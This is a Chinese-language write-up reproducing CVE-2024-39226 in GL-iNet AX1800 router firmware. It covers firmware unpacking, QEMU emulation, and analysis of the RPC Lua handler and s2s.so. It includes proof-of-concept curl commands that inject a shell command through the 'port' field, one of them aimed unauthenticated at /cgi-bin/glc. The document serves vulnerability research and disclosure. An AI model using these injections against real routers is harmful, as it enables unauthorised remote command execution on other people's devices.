# GL-Net 路由器 cve-2024-39226 复现分析

# 1. 描述:

该漏洞可被利用通过 s2s API 传递恶意 shell 命令来操纵路由器。

从请求体中的 json 数据中获取 port,下面对获取到的 port 的字符串进行了校验,但是并不严格。

# 2. 仿真模拟

固件版本:GL-AX1800 Flint 4.5.16

下载地址👉https://dl.gl-inet.cn/

解压后有 root 文件,进行 binwalk -Me 解包

$ binwalk -Me root

yhuan@h711:~/Desktop/IOT 分析 / GL-iNet/_root.extracted/squashfs-root/bin$

file busybox

busybox: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-arm.so.1, no section header

得知是 32 位 ARM 的架构

# qemu 仿真:

在 qemu 仿真时,踩了不少坑。好好写写

镜像下载地址点这里

下载完镜像之后,进行宿主机的网络配置,前提要有 qemu-system-arm

sudo apt install libvirt - daemon - system libvirt - clients virt - manager

搭建虚拟网桥

没有的情况可以自己配置一个

sudo brctl addbr virbr0 # 创建桥接

sudo ip link set virbr0 up # 启动桥接

sudo ip addr add 192.168.122.1/24 dev virbr0

1

类似于这个,创建并启用名为 tap0 的 TAP 设备,再将其添加到 virbr0 网桥中,并修改文件权限。

sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 up
sudo brctl addif virbr0 tap0
sudo chmod 666 /dev/net/tun

2

类似于这样,加下来使用 brctl show 看一下网桥状态

3

这样可以进行后面的操作了,若 STP enabled (命令功能 stp v-stp enable 命令用来使能 STP 进入跨设备组合工作模式。 undo stp v-stp enable 命令用来去使能 STP 进入跨设备组合工作模式。 缺省情况下,STP 进入跨设备组合工作模式处于去使能状态) 显示 no,使用下面的命令即可

sudo brctl stp virbr0 on

使用 qemu 进行引导

sudo qemu-system-arm -machine 'virt' -cpu 'cortex-a15' -m 1G \
-device virtio-blk-device,drive=hd -drive file=image.qcow2,if=none,id=hd \
-device virtio-net-device,netdev=net -netdev tap,id=net,ifname=tap0,script=no,downscript=no \
-kernel kernel -initrd initrd -nographic \
-append "root=LABEL=rootfs console=ttyAMA0"

仿真完成后进行 qemu 内虚拟机网络配置

4

root@debian:~# ip add add 192.168.122.130/24 dev eth0 root@debian:~# ip link set eth0 up
root@debian:~# ip route add default via 192.168.122.1

然后进入宿主机进行文件系统传输,一定要上 sudo,要不可能会有文件缺失

sudo scp -r squashfs-root/ root@192.168.122.130:/root

挂载文件系统,并启动 shell (可以在一个系统的虚拟机上传不同版本的 suqashfs-root,选择挂载进入的,可以写出不同的 sh 脚本)

cd squashfs-root/
mount -t proc /proc ./proc/
mount -o bind /dev ./dev/
chroot ../squashfs-root/ sh

5

使用下面命令,可以在宿主机访问 192.168.122.130 进入路由器管理页面,可完成初始密码设置并登录进入管理面板过程,想实现更多功能的启用就要摸索更多配置了,不过我们分析复现授权相关过程已经够用了。

#第一次运行这些
mkdir /var/log
mkdir /var/log/nginx
mkdir /var/lib
mkdir /var/lib/nginx
mkdir /var/lib/nginx/body
mkdir /var/run
chmod +x  /etc/uci-defaults/80_nginx-oui
/etc/uci-defaults/80_nginx-oui
chmod +x /etc/uci-defaults/network_gl
/etc/uci-defaults/network_gl
/etc/init.d/boot boot
 
#后面重启运行这些即可
/sbin/ubusd &
/usr/sbin/gl-ngx-session &
/usr/bin/fcgiwrap -c 4 -s unix:/var/run/fcgiwrap.socket &
/usr/sbin/nginx -c /etc/nginx/nginx.conf -g 'daemon off;' &

6

出现此界面,仿真成功

# 3. 漏洞分析

POC: curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}'

根据纰漏的 poc 发现,他请求的路由是 /rpc,然后在 /etc/nginx 下的 nginx 配置文件找下 rpc 的相关信息。

7

可以了解到请求 rpc 路径的处理方法在 /usr/share/gl-ngx/oui-rpc.lua

local cjson = require "cjson"
local rpc = require "oui.rpc"
local ubus = require "oui.ubus"
cjson.encode_empty_table_as_object(false)
if ngx.req.get_method() ~= "POST" then -- 检查 HTTP 请求方法是否为 POST
    ngx.exit(ngx.HTTP_FORBIDDEN) -- 如果不是,返回 403 Forbidden。
    end
ngx.req.read_body() -- 获取请求体
local data = ngx.req.get_body_data() -- 如果数据直接存在于 body 中,则获取
if not data then -- 否则从临时文件中读取,这可能处理较大的请求体。
    local name = ngx.req.get_body_file()
    local f = io.open(name, "r")
    data = f:read("*a")
    f:close()
end
local function rpc_method_challenge(id, params)
    local res = ubus.call("gl-session", "challenge", params)
    local code, data = res.code, res.data
    if code ~= 0 then
        local resp = rpc.error_response(id, code, data)
        ngx.say(cjson.encode(resp))
        return
    end
    local resp = rpc.result_response(id, data)
    ngx.say(cjson.encode(resp))
end -- 调用 gl-session 服务的 challenge 方法,生成认证挑战码(用于后续登录验证)。
local function rpc_method_login(id, params)
    local res = ubus.call("gl-session", "login", params)
    local code, data = res.code, res.data
    if code ~= 0 then
        local resp = rpc.error_response(id, code, data)
        ngx.say(cjson.encode(resp))
        return
    end
    ngx.header["Set-Cookie"] = "Admin-Token=" .. data.sid
    local resp = rpc.result_response(id, data)
    ngx.say(cjson.encode(resp))
end -- 调用 login 方法验证用户凭证,成功时设置 Cookie Admin-Token 为会话 ID(sid)。
local function rpc_method_logout(id, params)
    ubus.call("gl-session", "logout", params)
    local resp = rpc.result_response(id)
    ngx.say(cjson.encode(resp))
end -- 终止当前会话。
local function rpc_method_alive(id, params)
    local res = ubus.call("gl-session", "touch", params)
    if res.code ~= 0 then
        local resp = rpc.error_response(id, res.code, data)
        ngx.say(cjson.encode(resp))
        return
    end
    local resp = rpc.result_response(id)
    ngx.say(cjson.encode(resp))
end -- 通过 touch 方法刷新会话有效期。
local function rpc_method_call(id, params)
    if #params < 3 then
        local resp = rpc.error_response(id, rpc.ERROR_CODE_INVALID_PARAMS)
        ngx.say(cjson.encode(resp))
        return
    end
    local sid, object, method, args = params[1], params[2], params[3], params[4]
    if type(sid) ~= "string" or type(object) ~= "string" or type(method) ~= "string" then
        local resp = rpc.error_response(id, rpc.ERROR_CODE_INVALID_PARAMS)
        ngx.say(cjson.encode(resp))
        return
    end
    if args and type(args) ~= "table" then
        local resp = rpc.error_response(id, rpc.ERROR_CODE_INVALID_PARAMS)
        ngx.say(cjson.encode(resp))
        return
    end -- 参数校验:检查 sid、object、method 类型,args 是否为表。
    ngx.ctx.sid = sid
    if not rpc.is_no_auth(object, method) then
        -- rpc.is_no_auth (object, method):跳过认证的方法(如公共 API)。
        if not rpc.access("rpc", object .. "." .. method) then
            -- rpc.access ("rpc", object .. "." .. method):验证调用权限。
            local resp = rpc.error_response(id, rpc.ERROR_CODE_ACCESS)
            ngx.say(cjson.encode(resp))
            return
        end
    end
    local res = rpc.call(object, method, args)
    -- 调用目标方法:通过 rpc.call 执行实际逻辑,返回结果或错误。
    if type(res) == "number" then
        local resp = rpc.error_response(id, res)
        ngx.say(cjson.encode(resp))
        return
    end
    if type(res) ~= "table" then res = {} end
    local resp = rpc.result_response(id, res)
    ngx.say(cjson.encode(resp))
end
local methods= {
    ["challenge"] = rpc_method_challenge,
    ["login"] = rpc_method_login,
    ["logout"] = rpc_method_logout,
    ["alive"] = rpc_method_alive,
    ["call"] = rpc_method_call
} --RPC 方法:challenge、login、logout、alive、call
local ok, json_data = pcall(cjson.decode, data)
if not ok then
    local resp = rpc.error_response(nil, rpc.ERROR_CODE_PARSE_ERROR)
    ngx.say(cjson.encode(resp))
    return
end
if type(json_data) ~= "table" then
    local resp = rpc.error_response(nil, rpc.ERROR_CODE_PARSE_ERROR)
    ngx.say(cjson.encode(resp))
    return
end
if type(json_data.method) ~= "string" then
    local resp = rpc.error_response(json_data.id, rpc.ERROR_CODE_INVALID_REQUEST)
    ngx.say(cjson.encode(resp))
    return
end
if json_data.params and type(json_data.params) ~= "table" then
    local resp = rpc.error_response(json_data.id, rpc.ERROR_CODE_INVALID_REQUEST)
    ngx.say(cjson.encode(resp))
    return
end
if not methods[json_data.method] then
    local resp = rpc.error_response(json_data.id, rpc.ERROR_CODE_METHOD_NOT_FOUND)
    ngx.say(cjson.encode(resp))
    return
end
methods[json_data.method](json_data.id, json_data.params or {})

根据 POC 调用的方法为 call

8

所以现在重点关注 rpc_method_call 这个功能类函数

a

rpc_method_call 进行参数验证、会话检查和 Ubus 调用:

  1. 确保 params 中至少三个元素且元素类型正确。
  2. 检查 sid 是否有效,并通过 rpc.access 验证访问权限。
  3. 如果上述判断均通过,使用 rpc.call 执行指定的 Ubus 对象和方法。

接下来跟进 access 和 call 方法

M.session = function()
    local session = ubus.call("gl-session", "session", { sid = ngx.ctx.sid })
    local __oui_session = {
        is_local = ngx.var.remote_addr == "127.0.0.1" or ngx.var.remote_addr == "::1",
        -- is_local 为本地
        remote_addr = ngx.var.remote_addr,
        remote_port = ngx.var.remote_port
    }
    if not session then return __oui_session end
    utils.update_ngx_session("/tmp/gl_token_" .. ngx.ctx.sid)
    session.remote_addr = ngx.var.remote_addr
    session.remote_port = ngx.var.remote_port
    return session
end
M.access = function(scope, entry, need)
    local headers = ngx.req.get_headers()
    local s = M.session()
    local aclgroup = s.aclgroup
    if s.is_local and headers["glinet"] then
        -- 判断是否本地请求并且使用 glinet 服务,则通过
        return true
    end
    -- The admin acl group is always allowed
    if aclgroup == "root" then return true end
    if not aclgroup or aclgroup == "" then return false end
    local perm = db.get_perm(aclgroup, scope, entry)
    if not need then return false end
    if need == "r" then
        return perm:find("[r,w]") ~= nil
    else
        return perm:find(need) ~= nil
    end
end
M.call = function(object, method, args)
    ngx.log(ngx.DEBUG, "call: '", object, ".", method, "'")
    if not objects[object] then -- 如果没有属性加载就从 /usr/lib/oui-httpd/rpc/ 加载脚本
        local script = "/usr/lib/oui-httpd/rpc/" .. object
        -- 如果脚本文件存在且加载成功,将对象的方法注册到 objects 表中。
        if not fs.access(script) then
            -- 如果无法从 /usr/lib/oui-httpd/rpc/ 目录下加载脚本文件或者找不到对象或方法。
            return glc_call(object, method, args)
            -- 则调用 glc_call 执行。
        end
        local ok, tb = pcall(dofile, script)
        if not ok then
            ngx.log(ngx.ERR, tb)
            return glc_call(object, method, args)
        end
        if type(tb) == "table" then
            local funs = {}
            for k, v in pairs(tb) do
                if type(v) == "function" then
                    funs[k] = v
                end
            end
            objects[object] = funs
        end
    end
    local fn = objects[object] and objects[object][method]
    if not fn  then
        return glc_call(object, method, args)
    end
    return fn(args)
end
local function glc_call(object, method, args)
    ngx.log(ngx.DEBUG, "call C: '", object, ".", method, "'")
    -- 查看 /usr/lib/oui-httpd/rpc/ 目录下是二进制 s2s.so 文件,
    -- 无法直接加载,则通过 glc_call 调用 /cgi-bin/glc 执行 C 程序实现的 RPC 方法。
    local res = ngx.location.capture("/cgi-bin/glc", {
        method = ngx.HTTP_POST,
        body = cjson.encode({
            object = object,
            method = method,
            args = args or {}
        })
    })
    if res.status ~= ngx.HTTP_OK then return M.ERROR_CODE_INTERNAL_ERROR end
    local body = res.body
    local code = tonumber(body:match("(-?%d+)"))
    if code ~= M.ERROR_CODE_NONE then
        local err_msg = body:match("%d+ (.+)")
        if err_msg then
            ngx.log(ngx.ERR, err_msg)
        end
        return code
    end
    local msg = body:match("%d+ (.*)")
    return cjson.decode(msg)
end

接着跟进 /www/cgi-bin/glc 文件

b

通过了解 dlopen 可知了解到 /usr/lib/oui-httpd/rpc 是加载动态库的函数

snprintf(s, 0x80u, “%s/%s.so”, “/usr/lib/oui-httpd/rpc”, v30);
v10 = dlopen(s, 2);

所以可以这样理解,通过我们输入的 json 数据去解析,然后通过 dlopen 加载动态库进行操作。

所以通过 POC,他是调用 /usr/lib/oui-httpd/rpc 目录下的 s2s.so 动态库。通过 ida 分析,找到这个 enable_echo_server 函数

f

在处理端口时,由于对于端口并没有很严格的限制,所以可以进行命令注入

e

# 4. 进一步研究

通过上述可以发现,只能在本地实现命令注入执行的操作有点鸡肋了,而通过 /rpc 路径只能实现一条本地攻击的操作链,如果我们话 /cgi-rpc 这个路径应该会有一个意想不到的效果。所以下面分析一下 /cgi-rpc 这条路径下 glc 文件,去实现远程命令执行

首先简单的看一些保存接口的文件

c

而已经知道了 /cgi-bin 路径下存放以下文件

d

所以当我们直接调用 /cgi-bin/glc,发起一个内部的 HTTP POST 请求,去处理 Json 数据,并去传递属性,方法和参数信息,就无需限制本地或远程请求。

所以也就有了下面的 POC

curl 198.162.122.130/cgi-bin/glc -d ‘{ “object”:“s2s”, “method”:“enable_echo_server”, “args”:{“port”: “7 $(touch /root/test)”}}’

参考连接:

https://paper.seebug.org/3224/#1

http://www.yxfzedu.com/article/11600

http://www.personal-read.cn:3000/#/